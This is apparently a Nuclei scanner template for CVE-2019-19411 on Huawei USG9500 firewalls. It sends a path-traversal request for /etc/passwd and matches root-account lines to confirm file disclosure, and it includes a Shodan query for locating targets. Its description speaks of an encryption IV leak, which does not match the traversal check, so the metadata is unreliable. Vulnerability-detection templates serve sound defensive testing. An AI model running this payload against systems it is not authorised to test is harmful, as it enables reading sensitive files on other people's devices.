id: CVE-2019-19411

info:
  name: Huawei Firewall - Local File Inclusion
  author: taielab
  severity: low
  description: |
    USG9500 with versions of V500R001C30SPC100, V500R001C30SPC200, V500R001C30SPC600, V500R001C60SPC500, V500R005C00SPC100, V500R005C00SPC200 have an information leakage vulnerability. Due to improper processing of the initialization vector used in a specific encryption algorithm, an attacker who gains access to this cryptographic primitive may exploit this vulnerability to cause the value of the confidentiality associated with its use to be diminished.
  impact: |
    Attackers with network access can exploit the weakened encryption to potentially recover confidential information that was meant to be protected by the encryption algorithm.
  remediation: |
    Upgrade to a patched firmware version provided by Huawei or apply vendor-recommended mitigations.
  reference:
    - https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20200115-01-firewall-en
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 3.7
    cve-id: CVE-2019-19411
    cwe-id: CWE-665
    epss-score: 0.02952
    epss-percentile: 0.86657
    cpe: cpe:2.3:h:huawei:usg9500:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: huawei
    product: usg9500
    shodan-query: title:"HUAWEI"
  tags: cve,cve2019,huawei,firewall,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/umweb/../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:[x*]:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200
# digest: 490a00463044022069ce88c5eec68b327985f4377d2487ccfe83d96910d461b2e0aace88ce69ba610220063bea39ed887f6d7de9cb9dd6f3598b0146a6c6c41983af42a7a6b405897dda:922c64590222798bb761d5b6d8e72950